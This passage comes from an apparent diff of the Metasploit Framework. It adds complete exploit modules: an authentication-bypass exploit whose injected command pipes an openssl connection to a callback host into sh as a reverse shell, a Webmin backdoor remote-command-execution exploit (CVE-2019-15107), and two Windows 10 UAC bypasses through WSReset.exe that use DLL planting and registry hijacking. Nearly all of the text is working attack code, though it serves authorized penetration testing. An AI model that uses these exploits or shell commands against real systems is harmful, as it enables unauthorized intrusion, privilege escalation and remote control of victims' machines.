elsif res =~ /bind/
|
||||
sock.put(password + "\n")
|
||||
# Login error means we need to disconnect
|
||||
elsif res =~ /failed/
|
||||
break
|
||||
# To many connections means we need to disconnect
|
||||
elsif res =~ /Error/
|
||||
break
|
||||
end
|
||||
res = sock.get_once
|
||||
end
|
||||
end
|
||||
|
||||
cur_threads << t
|
||||
end
|
||||
|
||||
# We can stop if we get a valid login
|
||||
break unless results.empty?
|
||||
|
||||
# Add to a list of dead threads if we're finished
|
||||
cur_threads.each_index do |ti|
|
||||
t = cur_threads[ti]
|
||||
unless t.alive?
|
||||
cur_threads[ti] = nil
|
||||
end
|
||||
end
|
||||
|
||||
# Remove any dead threads from the set
|
||||
cur_threads.delete(nil)
|
||||
|
||||
Rex.sleep(0.25)
|
||||
end
|
||||
|
||||
# Clean up any remaining threads
|
||||
cur_threads.each { |sock| sock.kill }
|
||||
|
||||
if !results.empty?
|
||||
print_good("#{rhost}:#{rport} Successfully exploited the authentication bypass flaw")
|
||||
do_payload(results[0])
|
||||
else
|
||||
print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable")
|
||||
end
|
||||
end
|
||||
|
||||
def do_payload(sock)
|
||||
# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
|
||||
cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
|
||||
|
||||
# Start a listener
|
||||
start_listener(true)
|
||||
|
||||
# Figure out the port we picked
|
||||
cbport = self.service.getsockname[2]
|
||||
|
||||
# Utilize ping OS injection to push cmd payload using stager optimized for limited buffer < 128
|
||||
cmd = "\nping ;s=$IFS;openssl${s}s_client$s-quiet$s-host${s}#{cbhost}$s-port${s}#{cbport}|sh;ping$s-c${s}1${s}0\n"
|
||||
sock.put(cmd)
|
||||
|
||||
# Give time for our command to be queued and executed
|
||||
1.upto(5) do
|
||||
Rex.sleep(1)
|
||||
break if session_created?
|
||||
end
|
||||
end
|
||||
|
||||
def stage_final_payload(cli)
|
||||
print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
|
||||
cli.put(payload.encoded + "\n")
|
||||
end
|
||||
|
||||
def start_listener(ssl = false)
|
||||
comm = datastore['ListenerComm']
|
||||
if comm == 'local'
|
||||
comm = ::Rex::Socket::Comm::Local
|
||||
else
|
||||
comm = nil
|
||||
end
|
||||
|
||||
self.service = Rex::Socket::TcpServer.create(
|
||||
'LocalPort' => datastore['CBPORT'],
|
||||
'SSL' => ssl,
|
||||
'SSLCert' => datastore['SSLCert'],
|
||||
'Comm' => comm,
|
||||
'Context' =>
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => self
|
||||
}
|
||||
)
|
||||
|
||||
self.service.on_client_connect_proc = proc { |client|
|
||||
stage_final_payload(client)
|
||||
}
|
||||
|
||||
# Start the listening service
|
||||
self.service.start
|
||||
end
|
||||
|
||||
# Shut down any running services
|
||||
def cleanup
|
||||
super
|
||||
if self.service
|
||||
print_status("Shutting down payload stager listener...")
|
||||
begin
|
||||
self.service.deref if self.service.is_a?(Rex::Service)
|
||||
if self.service.is_a?(Rex::Socket)
|
||||
self.service.close
|
||||
self.service.stop
|
||||
end
|
||||
self.service = nil
|
||||
rescue ::Exception
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Accessor for our TCP payload stager
|
||||
attr_accessor :service
|
||||
end
|
||||
@@ -0,0 +1,222 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Webmin password_change.cgi Backdoor',
|
||||
'Description' => %q{
|
||||
This module exploits a backdoor in Webmin versions 1.890 through 1.920.
|
||||
Only the SourceForge downloads were backdoored, but they are listed as
|
||||
official downloads on the project's site.
|
||||
|
||||
Unknown attacker(s) inserted Perl qx statements into the build server's
|
||||
source code on two separate occasions: once in April 2018, introducing
|
||||
the backdoor in the 1.890 release, and in July 2018, reintroducing the
|
||||
backdoor in releases 1.900 through 1.920.
|
||||
|
||||
Only version 1.890 is exploitable in the default install. Later affected
|
||||
versions require the expired password changing feature to be enabled.
|
||||
},
|
||||
'Author' => [
|
||||
'AkkuS', # (Özkan Mustafa Akkuş) Discovery and independent module
|
||||
'wvu' # This module and updated information about the backdoor
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2019-15107'], # y tho
|
||||
['URL', 'http://www.webmin.com/exploit.html'],
|
||||
['URL', 'https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html'],
|
||||
['URL', 'https://blog.firosolutions.com/exploits/webmin/'],
|
||||
['URL', 'https://github.com/webmin/webmin/issues/947']
|
||||
],
|
||||
'DisclosureDate' => '2019-08-10',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
||||
'Privileged' => true,
|
||||
'Targets' => [
|
||||
['Automatic (Unix In-Memory)',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Version' => [
|
||||
Gem::Version.new('1.890'), Gem::Version.new('1.920')
|
||||
],
|
||||
'Type' => :unix_memory,
|
||||
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'}
|
||||
],
|
||||
['Automatic (Linux Dropper)',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Version' => [
|
||||
Gem::Version.new('1.890'), Gem::Version.new('1.920')
|
||||
],
|
||||
'Type' => :linux_dropper,
|
||||
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
||||
}
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(10000),
|
||||
OptString.new('TARGETURI', [true, 'Base path to Webmin', '/'])
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptBool.new('ForceExploit', [false, 'Override check result', false])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
)
|
||||
|
||||
unless res
|
||||
vprint_error('Server did not respond')
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
version =
|
||||
res.headers['Server'].to_s.scan(%r{MiniServ/([\d.]+)}).flatten.first
|
||||
|
||||
unless version
|
||||
vprint_error('Webmin version not detected')
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
version = Gem::Version.new(version)
|
||||
|
||||
vprint_status("Webmin #{version} detected")
|
||||
checkcode = CheckCode::Detected
|
||||
|
||||
unless version.between?(*target['Version'])
|
||||
vprint_error("Webmin #{version} is not a supported target")
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
vprint_good("Webmin #{version} is a supported target")
|
||||
checkcode = CheckCode::Appears
|
||||
|
||||
res = execute_command("echo #{token}")
|
||||
|
||||
unless res
|
||||
vprint_error('Webmin did not respond to check command')
|
||||
return checkcode
|
||||
end
|
||||
|
||||
if res.body.include?('Password changing is not enabled!')
|
||||
vprint_error('Expired password changing disabled')
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
if res.body.include?(token)
|
||||
vprint_good('Webmin executed a benign check command')
|
||||
checkcode = CheckCode::Vulnerable
|
||||
else
|
||||
vprint_error('Webmin did not execute our check command')
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
checkcode
|
||||
end
|
||||
|
||||
def exploit
|
||||
# These CheckCodes are allowed to pass automatically
|
||||
checkcodes = [
|
||||
CheckCode::Appears,
|
||||
CheckCode::Vulnerable
|
||||
]
|
||||
|
||||
unless checkcodes.include?(check) || datastore['ForceExploit']
|
||||
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
|
||||
end
|
||||
|
||||
print_status("Configuring #{target.name} target")
|
||||
|
||||
case target['Type']
|
||||
when :unix_memory
|
||||
print_status("Sending #{datastore['PAYLOAD']} command payload")
|
||||
vprint_status("Generated command payload: #{payload.encoded}")
|
||||
|
||||
res = execute_command(payload.encoded)
|
||||
|
||||
if res && datastore['PAYLOAD'] == 'cmd/unix/generic'
|
||||
print_warning('Dumping command output in full response body')
|
||||
|
||||
if res.body.empty?
|
||||
print_error('Empty response body, no command output')
|
||||
return
|
||||
end
|
||||
|
||||
print_line(res.body)
|
||||
end
|
||||
when :linux_dropper
|
||||
print_status("Sending #{datastore['PAYLOAD']} command stager")
|
||||
execute_cmdstager
|
||||
end
|
||||
end
|
||||
|
||||
=begin
|
||||
wvu@kharak:~/Downloads$ diff3 webmin-1.{890,930,920}/password_change.cgi
|
||||
====2
|
||||
1:1c
|
||||
3:1c
|
||||
#!/usr/bin/perl
|
||||
2:1c
|
||||
#!/usr/local/bin/perl
|
||||
====1
|
||||
1:12c
|
||||
$in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;
|
||||
2:12c
|
||||
3:12c
|
||||
$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";
|
||||
====3
|
||||
1:40c
|
||||
2:40c
|
||||
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
|
||||
3:40c
|
||||
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
|
||||
====3
|
||||
1:200c
|
||||
2:200c
|
||||
# Show ok page
|
||||
3:200c
|
||||
|
||||
wvu@kharak:~/Downloads$
|
||||
=end
|
||||
def execute_command(cmd, _opts = {})
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
|
||||
'headers' => {'Referer' => full_uri},
|
||||
'vars_post' => {
|
||||
# 1.890
|
||||
'expired' => cmd,
|
||||
# 1.900-1.920
|
||||
'new1' => token,
|
||||
'new2' => token,
|
||||
'old' => cmd
|
||||
}
|
||||
}, 3.5)
|
||||
end
|
||||
|
||||
def token
|
||||
@token ||= Rex::Text.rand_text_alphanumeric(8..42)
|
||||
end
|
||||
|
||||
end
|
||||
@@ -52,12 +52,11 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'References' => [
|
||||
'References' =>
|
||||
[
|
||||
'URL', 'https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/',
|
||||
'URL', 'https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1'
|
||||
]
|
||||
],
|
||||
['URL', 'https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/'],
|
||||
['URL', 'https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1']
|
||||
],
|
||||
'DisclosureDate'=> 'Aug 15 2016'
|
||||
))
|
||||
end
|
||||
|
||||
@@ -52,12 +52,12 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'References' => [
|
||||
'References' =>
|
||||
[
|
||||
'URL', 'https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/',
|
||||
'URL', 'https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1'
|
||||
]
|
||||
],
|
||||
['URL', 'https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/'],
|
||||
['URL', 'https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1'],
|
||||
['URL', 'https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/']
|
||||
],
|
||||
'DisclosureDate' => 'May 12 2017'
|
||||
)
|
||||
)
|
||||
|
||||
@@ -44,12 +44,11 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'References' => [
|
||||
'References' =>
|
||||
[
|
||||
'URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/',
|
||||
'URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html'
|
||||
]
|
||||
],
|
||||
['URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/'],
|
||||
['URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html']
|
||||
],
|
||||
'DisclosureDate'=> 'Dec 31 2010'
|
||||
))
|
||||
|
||||
|
||||
@@ -39,9 +39,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'References' => [
|
||||
[
|
||||
'URL', 'https://github.com/L3cr0f/DccwBypassUAC'
|
||||
]
|
||||
['URL', 'https://github.com/L3cr0f/DccwBypassUAC']
|
||||
],
|
||||
'DisclosureDate'=> 'Apr 06 2017'
|
||||
))
|
||||
|
||||
@@ -54,12 +54,11 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
['Windows x64', { 'Arch' => ARCH_X64 }]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'References' => [
|
||||
'References' =>
|
||||
[
|
||||
'URL', 'https://github.com/bytecode-77/slui-file-handler-hijack-privilege-escalation',
|
||||
'URL', 'https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1'
|
||||
]
|
||||
],
|
||||
['URL', 'https://github.com/bytecode-77/slui-file-handler-hijack-privilege-escalation'],
|
||||
['URL', 'https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1']
|
||||
],
|
||||
'DisclosureDate' => 'Jan 15 2018'
|
||||
)
|
||||
)
|
||||
|
||||
@@ -30,12 +30,11 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'References' => [
|
||||
'References' =>
|
||||
[
|
||||
'URL', 'http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html',
|
||||
'URL', 'https://github.com/Vozzie/uacscript'
|
||||
]
|
||||
],
|
||||
['URL', 'http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html'],
|
||||
['URL', 'https://github.com/Vozzie/uacscript']
|
||||
],
|
||||
'DisclosureDate'=> 'Aug 22 2015'
|
||||
))
|
||||
|
||||
|
||||
@@ -0,0 +1,139 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
include Post::Windows::Priv
|
||||
include Post::Windows::Runas
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info( info,
|
||||
'Name' => 'Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe)',
|
||||
'Description' => %q{
|
||||
This module exploits a flaw in the WSReset.exe Windows Store Reset Tool. The tool
|
||||
is run with the "autoElevate" property set to true, however it can be moved to
|
||||
a new Windows directory containing a space (C:\Windows \System32\) where, upon
|
||||
execution, it will load our payload dll (propsys.dll).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'ACTIVELabs', # discovery
|
||||
'sailay1996', # poc
|
||||
'timwr', # metasploit module
|
||||
],
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'Targets' => [[ 'Automatic', {} ]],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'EXITFUNC' => 'process',
|
||||
'WfsDelay' => 15
|
||||
},
|
||||
'DisclosureDate' => 'Aug 22 2019',
|
||||
'Notes' =>
|
||||
{
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ],
|
||||
},
|
||||
'References' => [
|
||||
['URL', 'https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html'],
|
||||
['URL', 'https://github.com/sailay1996/UAC_bypass_windows_store'],
|
||||
['URL', 'https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e'],
|
||||
],
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
if sysinfo['OS'] =~ /Windows 10/ && is_uac_enabled? && exists?("C:\\Windows\\System32\\WSReset.exe")
|
||||
return CheckCode::Appears
|
||||
end
|
||||
CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
|
||||
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
|
||||
end
|
||||
|
||||
# Make sure we have a sane payload configuration
|
||||
if sysinfo['Architecture'] != payload.arch.first
|
||||
fail_with(Failure::BadConfig, 'The payload should use the same architecture as the target')
|
||||
end
|
||||
|
||||
check_permissions!
|
||||
|
||||
case get_uac_level
|
||||
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
|
||||
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
|
||||
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
|
||||
fail_with(Failure::NotVulnerable,
|
||||
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
|
||||
when UAC_DEFAULT
|
||||
print_good('UAC is set to Default')
|
||||
print_good('BypassUAC can bypass this setting, continuing...')
|
||||
when UAC_NO_PROMPT
|
||||
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
|
||||
shell_execute_exe
|
||||
return
|
||||
end
|
||||
|
||||
exploit_win_dir = "C:\\Windows \\"
|
||||
exploit_dir = "C:\\Windows \\System32\\"
|
||||
exploit_file = exploit_dir + "WSReset.exe"
|
||||
unless exists? exploit_win_dir
|
||||
print_status("Creating directory '#{exploit_win_dir}'...")
|
||||
session.fs.dir.mkdir(exploit_win_dir)
|
||||
end
|
||||
unless exists? exploit_dir
|
||||
print_status("Creating directory '#{exploit_dir}'...")
|
||||
session.fs.dir.mkdir(exploit_dir)
|
||||
end
|
||||
unless exists? exploit_file
|
||||
session.fs.file.copy("C:\\Windows\\System32\\WSReset.exe", exploit_file)
|
||||
end
|
||||
|
||||
payload_dll = "C:\\Windows \\System32\\propsys.dll"
|
||||
print_status("Creating payload '#{payload_dll}'...")
|
||||
payload = generate_payload_dll
|
||||
write_file(payload_dll, payload)
|
||||
print_status("Executing WSReset.exe...")
|
||||
begin
|
||||
session.sys.process.execute("cmd.exe /c \"#{exploit_file}\"", nil, {'Hidden' => true})
|
||||
rescue ::Exception => e
|
||||
print_error(e.to_s)
|
||||
end
|
||||
print_warning("This exploit requires manual cleanup of the '#{exploit_win_dir}' and '#{exploit_dir}' directories!")
|
||||
end
|
||||
|
||||
def check_permissions!
|
||||
unless check == Exploit::CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
|
||||
end
|
||||
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
|
||||
# Check if you are an admin
|
||||
# is_in_admin_group can be nil, true, or false
|
||||
print_status('UAC is Enabled, checking level...')
|
||||
vprint_status('Checking admin status...')
|
||||
admin_group = is_in_admin_group?
|
||||
if admin_group.nil?
|
||||
print_error('Either whoami is not there or failed to execute')
|
||||
print_error('Continuing under assumption you already checked...')
|
||||
else
|
||||
if admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
end
|
||||
|
||||
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
||||
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,156 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
include Post::Windows::Priv
|
||||
include Post::Windows::Runas
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(info,
|
||||
'Name' => 'Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry',
|
||||
'Description' => %q(
|
||||
This module exploits a flaw in the WSReset.exe file associated with the Windows
|
||||
Store. This binary has autoelevate privs, and it will run a binary file
|
||||
contained in a low-privilege registry location. By placing a link to
|
||||
the binary in the registry location, WSReset.exe will launch the binary as
|
||||
a privileged user.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'ACTIVELabs', # discovery
|
||||
'sailay1996', # poc
|
||||
'bwatters-r7', # metasploit module
|
||||
],
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'Targets' => [[ 'Automatic', {} ]],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'WfsDelay' => 15
|
||||
},
|
||||
'DisclosureDate' => 'Feb 19 2019',
|
||||
'Notes' =>
|
||||
{
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
|
||||
},
|
||||
'References' => [
|
||||
['URL', 'https://www.activecyber.us/activelabs/windows-uac-bypass'],
|
||||
['URL', 'https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html'],
|
||||
['URL', 'https://github.com/sailay1996/UAC_bypass_windows_store'],
|
||||
]
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil])]
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
if sysinfo['OS'] =~ /Windows 10/ && is_uac_enabled? && exists?("C:\\Windows\\System32\\WSReset.exe")
|
||||
return CheckCode::Appears
|
||||
end
|
||||
|
||||
CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
check_permissions!
|
||||
case get_uac_level
|
||||
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
|
||||
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
|
||||
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
|
||||
fail_with(Failure::NotVulnerable,
|
||||
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
|
||||
when UAC_DEFAULT
|
||||
print_good('UAC is set to Default')
|
||||
print_good('BypassUAC can bypass this setting, continuing...')
|
||||
when UAC_NO_PROMPT
|
||||
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
|
||||
shell_execute_exe
|
||||
return
|
||||
end
|
||||
|
||||
# get directory locations straight
|
||||
win_dir = session.sys.config.getenv('windir')
|
||||
vprint_status("win_dir = " + win_dir)
|
||||
tmp_dir = session.sys.config.getenv('tmp')
|
||||
vprint_status("tmp_dir = " + tmp_dir)
|
||||
exploit_dir = win_dir + "\\System32\\"
|
||||
vprint_status("exploit_dir = " + exploit_dir)
|
||||
reset_filepath = exploit_dir + "WSReset.exe"
|
||||
vprint_status("exploit_file = " + reset_filepath)
|
||||
|
||||
# make payload
|
||||
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
|
||||
payload_pathname = tmp_dir + '\\' + payload_name
|
||||
vprint_status("payload_pathname = " + payload_pathname)
|
||||
vprint_status("Making Payload")
|
||||
payload = generate_payload_exe
|
||||
reg_command = exploit_dir + "cmd.exe /c start #{payload_pathname}"
|
||||
vprint_status("reg_command = " + reg_command)
|
||||
registry_key = "HKCU\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command"
|
||||
|
||||
|
||||
# make registry changes
|
||||
vprint_status("Making Registry Changes")
|
||||
begin
|
||||
registry_createkey(registry_key)
|
||||
registry_setvaldata(registry_key, "DelegateExecute", '', "REG_SZ")
|
||||
registry_setvaldata(registry_key, '', reg_command, "REG_SZ")
|
||||
rescue ::Exception => e
|
||||
print_error(e.to_s)
|
||||
end
|
||||
vprint_status("Registry Changes Complete")
|
||||
# Upload payload
|
||||
vprint_status("Uploading Payload to #{payload_pathname}")
|
||||
write_file(payload_pathname, payload)
|
||||
vprint_status("Payload Upload Complete")
|
||||
|
||||
vprint_status("Launching " + reset_filepath)
|
||||
begin
|
||||
session.sys.process.execute("cmd.exe /c \"#{reset_filepath}\"", nil, 'Hidden' => true)
|
||||
rescue ::Exception => e
|
||||
print_error(e.to_s)
|
||||
end
|
||||
print_warning("This exploit requires manual cleanup of '#{payload_pathname}!")
|
||||
# wait for a few seconds before cleaning up
|
||||
sleep(20)
|
||||
vprint_status("Removing Registry Changes")
|
||||
registry_deletekey(registry_key)
|
||||
vprint_status("Registry Changes Removed")
|
||||
end
|
||||
|
||||
def check_permissions!
|
||||
unless check == Exploit::CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
|
||||
end
|
||||
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
|
||||
# Check if you are an admin
|
||||
# is_in_admin_group can be nil, true, or false
|
||||
print_status('UAC is Enabled, checking level...')
|
||||
vprint_status('Checking admin status...')
|
||||
admin_group = is_in_admin_group?
|
||||
if admin_group.nil?
|
||||
print_error('Either whoami is not there or failed to execute')
|
||||
print_error('Continuing under assumption you already checked...')
|
||||
else
|
||||
if admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
end
|
||||
|
||||
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
||||
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_options'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 30658
|
||||
CachedSize = 30691
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Php::ReverseTcp
|
||||
|
||||
@@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 179779
|
||||
CachedSize = 180291
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
|
||||
@@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 179779
|
||||
CachedSize = 180291
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
|
||||
@@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 180825
|
||||
CachedSize = 181337
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
|
||||
@@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 180825
|
||||
CachedSize = 181337
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
|
||||
@@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 179779
|
||||
CachedSize = 180291
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
|
||||
@@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 179779
|
||||
CachedSize = 180291
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
|
||||
@@ -8,7 +8,7 @@ require 'msf/core/payload/linux/x64/reverse_tcp'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 129
|
||||
CachedSize = 130
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Linux::ReverseTcp_x64
|
||||
|
||||
@@ -34,10 +34,10 @@ module MetasploitModule
|
||||
elf.elf_header.e_entry
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
def asm_intermediate_stage(payload)
|
||||
entry_offset = elf_ep(payload)
|
||||
|
||||
midstager_asm = %(
|
||||
%(
|
||||
push rdi ; save sockfd
|
||||
xor rdi, rdi ; address
|
||||
mov rsi, #{payload.length} ; length
|
||||
@@ -82,8 +82,14 @@ module MetasploitModule
|
||||
add rsi, rax
|
||||
jmp rsi
|
||||
)
|
||||
end
|
||||
|
||||
midstager = Metasm::Shellcode.assemble(Metasm::X64.new, midstager_asm).encode_string
|
||||
def generate_intermediate_stage(payload)
|
||||
